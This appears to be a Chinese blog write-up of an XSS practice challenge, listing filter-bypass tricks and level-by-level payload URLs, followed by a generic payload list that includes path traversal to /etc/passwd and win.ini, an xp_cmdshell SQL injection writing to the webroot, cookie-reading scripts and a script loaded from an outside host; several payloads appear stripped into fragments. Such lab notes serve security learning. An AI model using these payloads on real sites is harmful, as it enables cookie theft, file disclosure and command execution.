XSS挑战的测试

XSS挑战地址:http://xss.tesla-space.com/

参考两篇文章:

一、https://xz.aliyun.com/t/1206

二、https://www.cnblogs.com/r00tuser/p/7407459.html

总结来说绕过姿势:

1、闭合前面的标签,后面构造xss语句

2、过滤尖括号

用事件来弹窗

' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` '

3、过滤on,script

使用JavaScript伪协议

"> click me //
"> 111 //
"> axxx //

4、过滤on,src,href

尝试大小写绕过

">  //
">  //

5、过滤一遍关键字等

双写关键字绕过

" oonninput=alert(1) "
"> alert`xss` //

6、过滤javascript关键字

使用HTML字符实体'a'='a'绕过

javascript:alert(1)

URL编码绕过

javascript:%61lert(1)

7、必须包含http://之类的

javascript:alert(1)//http://www.0aa.me  //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1)  //不能用注释的情况下

8、

输入点在url中,参数是keyword

首先测试以下过滤情况

' ">

群友大神给的payload:

url=&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert()
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

测试一下有的是User-Agent,有的是Cookies里有回显。

修改为 " type="text" οnmοuseοver="alert()之类的payload即可,可以repeat几次看看哪些地方需要闭合。

9、使用带有xss代码的图片进行上传。

10、过滤空格,/,script

使用%0d %0a分割

/level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=

11、过滤尖括号,双引号

用on事件

/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1`
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`

 

一些常用的XSS payloads

1'"()&%
 

 

 
'>
 
='>
 

 
%3Cscript%3Ealert('XSS')%3C/script%3E
 

 

 
%0a%0a.jsp
 
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
 
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
 

 

 
a.jsp/
 
a?
 
">
 
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
 
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
%3Cscript%3Ealert(document. domain);%3C/script%3E&
 
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
 

 

 

 

 

 

 

 

 

 

 
"";' > out
 

 

 

 

 

 

 

 

getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); "> <" PT src="http://xss.ha.ckers.org/a.js"> link <
 

你可能感兴趣的:(漏洞挖掘)